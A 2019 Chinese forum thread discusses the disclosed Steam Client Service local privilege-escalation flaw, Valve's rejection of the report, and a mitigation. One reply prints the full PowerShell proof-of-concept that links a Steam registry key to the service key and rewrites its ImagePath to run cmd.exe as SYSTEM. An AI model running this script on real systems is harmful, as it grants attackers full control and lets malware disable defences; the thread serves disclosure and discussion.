星野心叶 发表于 2019-8-9 15:53

steam被爆存在安全漏洞,注意安全

来源:https://steamcn.com/t512364-1-1

昨天在reddit看到的瓜越来越热闹了有没有搞网安的dalao出来分析一哈
消息来源:reddit
发现者:Steam Windows Client Local Privilege Escalation 0day
媒体:Severe local 0-Day escalation exploit found in Steam Client Services

漏洞本身非常简单。Steam为某些内部目录的安装“Steam Client Service(Steam客户端服务)”服务。任何来自“用户”组的用户都可以启动和停止服务。
结论是在安装了Steam的Windows电脑上能使用最高权限运行任何程序。
6月15日,Vasily Kravets通过HackerOne第一次向Valve报告了这个漏洞,6月16日HackerOne的员工评审将报告标记为“不适用”,原因是“攻击需要在用户文件系统的任意位置删除文件”。经过讨论,7月2日HackerOne工作人员确认了漏洞并将其提交给Valve安全团队进行审核。7月20日报告被标记为“不适用”,原因是“攻击需要在用户文件系统的任意位置删除文件” 和“攻击需要物理访问用户设备”。8月7日在初次报告提交的45天后,Vasily Kravets公开了漏洞希望Steam开发人员进行一些安全性改进。

Vasily Kravets简介
多年来我一直在寻找漏洞,我想我已经看到了够多,但是有一部分工作我无法理解和接受。这绝对是供应商不愿意接受关于漏洞和问题的信息。我明白,当有人直接告诉你,你犯了一个错误,而且很可能不止一个错误时,这是非常不愉快的。很难从公共渠道确认是否存在问题,工作人员是否做错了什么。但是,我不明白为什么一个漏洞报告会被拒绝。

Vasily Kravets的猜测
我对valve感到失望,一家严肃的大公司对安全的重要性发表了令人伤心的言论,同时也让你的电脑失去了防御能力。事实上,Steam允许为您运行的每个程序授予最高权限。

具有讽刺意味的是,一个启动程序(实际上是为在您的计算机上运行第三方程序而设计的)允许它们默默地获得最高权限。你确定一个由未知开发者制作的垃圾免费游戏会安全吗?你相信90%的折扣不会使你变成一个浑然不知的矿工吗?当然,有些威胁甚至在没有管理员权限的情况下仍然会运行。然而,恶意程序的高权限会显著增加风险——程序可以禁用杀毒软件,在暗处隐藏和更改几乎任何用户的任何文件,甚至窃取私人数据。

由于Steam的流行,有很多潜在的受害者。2015年,Valve报告称Steam上有1.25亿活跃用户。当然并不是所有的Steam用户都将Windows作为操作系统,但大多数用户都是这样的。一些用户在一台机器上有多个“活动”帐户,但是问题的规模仍然令人印象深刻。

如果没有巧合,并且是被设计成不安全的会怎么样?如果steam是一种合法的后门呢?给vavle定罪是不可能的,但把所有的事实罗列:
1) 存在易被利用、可靠、权限高的漏洞。似乎还不止一个,根据这段推文
2)很容易发现漏洞。我不确定我是不是第一个发现它的人,但我是第一个分析它的人。
根据reddit网友评论,2015年就有人提交过类似漏洞。
3)Valve拒绝了关于EoP(权限提升)漏洞和同样漏洞的报告。此外,特别减少了传入报告的范围,以排除EoP(权限提升)报告。
在我看来,Valve希望这些EoP(权限提升)漏洞出现在软件中。

这看起来不太好。我不建议删除Steam,但是你应该小心使用它。Valve不关心你的安全,所以你是唯一应该关心的人。
彩蛋
在编写本文期间发生了一件非常有趣的事情:
7月20日-在报告被拒绝后,我通知H1我将在7月30日后公开披露漏洞的细节。

8月2日-又有一名H1员工出现在帖子中,禁止我泄露。

本文将在7月30日之前准备好发布(之所以选择这个日期,是因为自最初的漏洞报告发出以来,截止日期为45天)。因此,在我于7月20日发出这条信息的两周后,一个人出现了,他告诉我,我的报告被标记为不适用,他们结束了讨论,不向我提供任何解释。而且,他们不想让我披露他们的漏洞。与此同时,Valve甚至一个字也没有说。不,伙计们,事情不该是这样的。你不尊重我的工作,这就是我不尊重你的原因——我没有理由不发表这份报告。很可能我在H1会因此被禁止,但这不会让我心烦。

昨天(2019年8月6日)Steam进行了更新。问题没有被修复。



ars的测试

1、Demonstrate that I cannot write to C:\Windows\System32\. System error message is in red.
2、Demonstrate that I cannot arbitrarily monkey around with registry keys under HKLM\CurrentControlSet\Services. System-error message is in red.
3、Delete the NSIS installer key for Steam (to give myself a target for shenanigans), then recreate it as a symlink to msiserver's registry key. Success in green.
4、Demonstrate that Steam's NSIS key now points to Windows' msinstaller key. Success in green.
5、Attempt to modify the msiserver key to run my shenanigans. I haven't started Steam Client Services yet, so this fails. System-error message in red.
6、Start Steam Client Services, then modify the msiserver key once Steam has helpfully opened it up for me. Success in green.
7、Start the newly-modified msiserver service. msiserver runs as LOCALSYSTEM, so it successfully creates a file under C:\Windows\System32. Success in green.

有兴趣的dalao可以在vm跑跑看regln-x64.exe
Windows 用户帐户控制(uac)从未在此过程中触发,整个过程只需要几分钟。测试没有安装任何Steam游戏,只安装了Steam。

延伸
SteamEoP.ps1
Steam Windows Client Local Privilege Escalation 0day
Valve-bug bountry program
The following items are considered out-of-scope for all Valve offerings:

Hypothetical issues that do not have any practical impact.
Attacks that require social engineering/phishing.
Attacks that require physical access to the user’s device.
Attacks that require the ability to drop files in arbitrary locations on the user's filesystem.
User enumeration without any further impact.
Clickjacking without a well-defined security/privacy risk.
Open redirects or linkfilter bypasses that cannot be leveraged to programmatically exfiltrate sensitive information (e.g., cookies, OAuth tokens, etc.).
Disclosure of software version numbers (we maintain forks of several tools, and apply security patches accordingly).
Vulnerabilities reported by use of automated tools/scanners, without accompanying validation / POC.
Content Spoofing / Text Injection that cannot be leveraged for XSS or sensitive data disclosure.
Host header injection without a specific proof of concept.
Self XSS or XSS that affects only out-of-date browsers.
Denial of Service Attacks.
Reports against Source Engine tools, e.g. Hammer, Source Filmmaker.
Reports that require the user to open a crafted game demo file.

星野心叶 发表于 2019-8-9 15:54

本帖最后由 星野心叶 于 2019-8-9 17:17 编辑

steamcn原贴有针对方法
打开控制面板-管理工具-组件服务-服务(本地),找到steam client service,右键属性,启动类型改为禁用。

再补个reddit原文链接吧:https://www.reddit.com/r/Steam/comments/cn3303/steam_windows_client_local_privilege_escalation/
不懂技术,大佬们看看

RedPig 发表于 2019-8-9 15:58

星野心叶 发表于 2019-8-9 15:54
steamcn原贴有针对方法
打开控制面板-管理工具-组件服务-服务(本地),找到steam client service,右键属性 ...

没什么用吧, 禁用了steam打开一样要求你不禁用该服务

精钢魔像 发表于 2019-8-9 16:12

这个不能算吧
这都算漏洞那编程环境自己就是漏洞了

boom33 发表于 2019-8-9 16:23

TTAA 发表于 2019-8-9 16:35

假设有一个恶意软件,或者换个说法,病毒,想利用你的电脑(挖矿、远控),它会面临两个问题:1. 它没有足够的权限来对抗杀毒软件 2. 它很难越过UAC访问用户的数据(对很多数据的访问和改写会触发UAC)。第一个问题的后果是这个程序可能会直接被杀毒软件干掉,第二个问题的后果就是如果被感染者在什么事都没干的情况下电脑莫名其妙自己蹦出一个UAC警告,大部分人应该会点个否(这都能点是就真没救了)
而利用这个漏洞,恶意软件可以首先替换steam service(不触发UAC),然后利用上述过程越权启动强行取得SYSTEM级权限,此时UAC对SYSTEM级应用已经不再生效,接下来恶意程序可以在不惊动用户的情况下直接干掉杀毒软件,然后为所欲为
原贴里看到的,我要不要把安装的几个几块钱的小黄油删了

膛线 发表于 2019-8-9 16:46

事实不是早就证明安装steam有会使你的钱包越来越瘪的风险吗?

cxf5102 发表于 2019-8-9 16:47

并不意外,因为本来就是一个经常启动时卡死,不加-tcp命令经常连不上服务器,CHROME经常无法网页登录的屑平台。

wuuuuuud 发表于 2019-8-9 16:53

看起来要动注册表?动注册表(hklm)本身要触发uac的啊

精钢魔像 发表于 2019-8-9 16:53

boom33 发表于 2019-8-9 16:23
意思是如果我电脑就我一个人用就没事?

----发送自 STAGE1 App for Android.

要你的 SteamService.exe 被替换才可能出事
更可能的是steam上架一个有黑客行为的软件,通过steam运行,弹出uac你点了确定,然后这个软件替换SteamService

Scythe 发表于 2019-8-9 16:57

比较容易的方式是中间人攻击,方法类似楼上这种,算是比较难以实现的攻击吧

Mr_DECADE 发表于 2019-8-9 17:00

那么怎么防范呢

-- 来自 有消息提醒的 Stage1官方 Android客户端

シャスタ 发表于 2019-8-9 17:00

cxf5102 发表于 2019-8-9 17:09

精钢魔像 发表于 2019-8-9 16:53
要你的 SteamService.exe 被替换才可能出事
更可能的是steam上架一个有黑客行为的软件,通过steam运行, ...

原文可是说,只要你安装了steam,就可以不弹UAC,你这个结论怎么和上面的报道完全不一样?

丹德里恩 发表于 2019-8-9 17:16

一般的游戏也不会弹出UAC吧,注意点就好了

stage111st 发表于 2019-8-9 17:19

RedPig 发表于 2019-8-9 17:22

stage111st 发表于 2019-8-9 17:19
禁用了依然可以运行steam客户端,只是启动速度慢几秒

原来是要点“取消”

Scythe 发表于 2019-8-9 17:22

cxf5102 发表于 2019-8-9 17:09
原文可是说,只要你安装了steam,就可以不弹UAC,你这个结论怎么和上面的报道完全不一样? ...

不弹uac的东西在steam的覆盖范围内,范围外还是弹uac,也就是一个变相白名单的事

heroboy 发表于 2019-8-9 17:22

本帖最后由 heroboy 于 2019-8-9 17:24 编辑

看了一下脚本。
就是修改注册表,让steam client service这个服务的exe,指向你的exe,因为是系统服务,所以就能直接以管理员启动了。
现在纠结的是,这个修改注册表的操作是不是要uac权限,理论上来说是需要的。但是实际情况是,这个修改的方式是用注册表的Symblic link来实现的,这个我不是很清楚要不要管理员权限。如果这样可以的话,是不是任何服务的exe都能在不需要uac的情况下被替换了呢。
大家可以看一下这个脚本:
Write-Host "[*] Installing NTObjectManager..."
install-module NTObjectManager -Scope CurrentUser -Force
import-module NTObjectManager
Write-Host "[*] Removing HKLM:\SOFTWARE\WOW6432Node\Valve\Steam\NSIS"
Remove-Item -Path "HKLM:\SOFTWARE\WOW6432Node\Valve\Steam\NSIS"
Write-Host "[*] Creating Registry Symbolic Link from HKLM:\SOFTWARE\WOW6432Node\Valve\Steam\NSIS to HKLM:\SYSTEM\CurrentControlSet\Services\Steam Client Service"
::CreateSymbolicLink("\Registry\Machine\SOFTWARE\WOW6432Node\Valve\Steam\NSIS",$null, "\REGISTRY\Machine\SYSTEM\CurrentControlSet\Services\Steam Client Service")
Write-Host "[*] Registry Symbolic link created, restarting the Steam Client Service"
Get-Service "Steam Client Service" | Restart-Service
Write-Host "[*] Sleeping 5 seconds"
Start-Sleep 5
Write-Host "[*] DACL on HKLM:\SYSTEM\CurrentControlSet\Services\Steam Client Service should be overwritten"
Write-Host "[*] Modifying the binPath on the Steam Client Service..."
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Steam Client Service" -Name "ImagePath" -Value "C:\Windows\System32\cmd.exe /c cmd.exe"
Write-Host "[*] binPath overwritten, restarting the service to trigger EoP. This will error out, just ignore it"
Get-Service "Steam Client Service" | Restart-Service
Write-Host "[*] Done, cmd.exe should now be running as NT AUTHORITY\SYSTEM"其中CreateSymbolicLink代码在:https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/blob/master/NtApiDotNet/NtKey.cs

精钢魔像 发表于 2019-8-9 17:26

cxf5102 发表于 2019-8-9 17:09
原文可是说,只要你安装了steam,就可以不弹UAC,你这个结论怎么和上面的报道完全不一样? ...

你用steam装游戏应该见过弹uac吧
我哪知道报道是怎么试的

stage111st 发表于 2019-8-9 17:35

cxf5102 发表于 2019-8-9 17:43

heroboy 发表于 2019-8-9 17:22
看了一下脚本。
就是修改注册表,让steam client service这个服务的exe,指向你的exe,因为是系统服务,所 ...

我在虚拟机运行这个脚本,首先会提示

执行策略更改
执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如 https:/go.microsoft.com/fwlink/?LinkID=135170
中的 about_Execution_Policies 帮助主题所述。是否要更改执行策略?

如果你同意的话,还会提示

需要使用 NuGet 提供程序来继续操作
PowerShellGet 需要使用 NuGet 提供程序“2.8.5.201”或更高版本来与基于 NuGet 的存储库交互。必须在“C:\ProgramFiles\PackageManagement\ProviderAssemblies”或“C:\Users\w4639\AppData\Local\PackageManagement\ProviderAssemblies”中提
供 NuGet 提供程序。也可以通过运行 'Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force' 安装 NuGet提供程序。是否要让 PowerShellGet 立即安装并导入 NuGet 提供程序?

所以至少我不认为这个脚本有什么卵用。

heroboy 发表于 2019-8-9 17:48

cxf5102 发表于 2019-8-9 17:43
我在虚拟机运行这个脚本,首先会提示

执行策略更改


调用nuget是为了能用NtApiDotNet.NtKey这个api吧。实际使用会使用编译好的exe就不需要nuget安装包了。主要就是看这个api需不需要uac权限。

cxf5102 发表于 2019-8-9 18:26

heroboy 发表于 2019-8-9 17:48
调用nuget是为了能用NtApiDotNet.NtKey这个api吧。实际使用会使用编译好的exe就不需要nuget安装包了。主 ...

在国内垃圾网络下跑了好几次终于安上了包,确实不需要UAC能运行下去
不过这一行以后
Write-Host "[*] binPath overwritten, restarting the service to trigger EoP. This will error out, just ignore it"
PS就会消失,我估计大概是出错了,所以我运行了一下Get-Service "Steam Client Service" | Restart-Service,会出错:
Restart-Service : 由于以下错误无法启动服务“Steam Client Service (Steam Client Service)”: 无法启动计算机“.”上的服务
Steam Client Service。
所在位置 行:1 字符: 38
+ Get-Service "Steam Client Service" | Restart-Service
+                                    ~~~~~~~~~~~~~~~
    + CategoryInfo          : OpenError: (System.ServiceProcess.ServiceController:ServiceController)
   , ServiceCommandException
    + FullyQualifiedErrorId : CouldNotStartService,Microsoft.PowerShell.Commands.RestartServiceCommand
于是我试着任务管理器启动该服务(显示已停止),启动不了,大概被搞坏了?顺面一说我新安装的STEAM,没有登陆过。

至此CMD并没有管理员权限,我试着在系统目录下MKDIR但是拒绝访问。

dogfight 发表于 2019-8-9 20:37

很多人想要某个程序不弹UAC,用这个可以绕过?

处男鉴黄师 发表于 2019-8-9 22:07

香月诗浓 发表于 2019-8-9 22:54

Evilgurren 发表于 2019-8-10 02:23

本帖最后由 Evilgurren 于 2019-8-10 02:25 编辑

算是一个本地提权漏洞,value这做法很不应该,不过正常服务器上是不可能有steam的,主要威胁个人用户

Pbynessseri 发表于 2019-8-10 12:06

这里有个矛盾,你要有个游戏有足够多的人运行才有价值,但是有那么多人跑你的游戏,那你还用的着钻这个漏洞?直接买游戏赚钱不就完了??

好大一只绅士 发表于 2019-8-10 12:08

偶尔会收到异地验证码,明明从未在网吧用过steam而且刚改过密码

qwased 发表于 2019-8-10 12:21

有点脱裤子放屁,win上能这么搞等于攻击者已经坐在你电脑前面了

—— 来自 Xiaomi MI 6, Android 9上的 S1Next-鹅版 v2.1.2

Herreimu 发表于 2019-8-10 12:23

Pbynessseri 发表于 2019-8-10 12:06
这里有个矛盾,你要有个游戏有足够多的人运行才有价值,但是有那么多人跑你的游戏,那你还用的着钻这个漏洞 ...

不是,从steam下载只是途径之一
这个漏洞是让恶意程序替换steamclientservices.exe来越过uac获得权限,让你的杀毒软件失效
用大白话来讲,大致是来源可能是浏览器下载,u盘等等,漏洞的作用是让你的杀软不报毒

chen_null 发表于 2019-8-10 19:10

本地提权漏洞,从一个安装了Steam的普通用户到SYSTEM权限。这个利用简单,效果显著的漏洞Valve还不修?

chen_null 发表于 2019-8-10 19:22

heroboy 发表于 2019-8-9 17:22
看了一下脚本。
就是修改注册表,让steam client service这个服务的exe,指向你的exe,因为是系统服务,所 ...

Steam的BUG,改了某项注册表的修改权限,"HKLM\Software\Wow6432Node\Valve\Steam\Apps "这个键和他的子键的权限都被Steam修改成了用户可修改。所以通过创建链接的形式修改"HKLM:\SYSTEM\CurrentControlSet\Services\Steam Client Service"这个Service来得到SYSTEM权限。
Service enumerates subkeys of HKLM\Software\Wow6432Node\Valve\Steam\Apps and sets some security descriptions for each.Here I found that HKLM\SOFTWARE\Wow6432Node\Valve\Steam has explicit “Full control” for “Users” group, and these permissions inherit for all subkeys and their subkeys.

ChrisSnake 发表于 2019-8-15 10:28

所以以后不要玩不知名的游戏了?

星野心叶 发表于 2019-8-15 10:48

ChrisSnake 发表于 2019-8-15 10:28
所以以后不要玩不知名的游戏了?
好像前几天的beta客户端已经修复这问题了
但是阀门对这事的态度真的是...这漏洞据说好几年前就有人发现反映了,但是一直都没修,直到上周闹大了才动起来....
页: [1]
查看完整版本: steam被爆存在安全漏洞,注意安全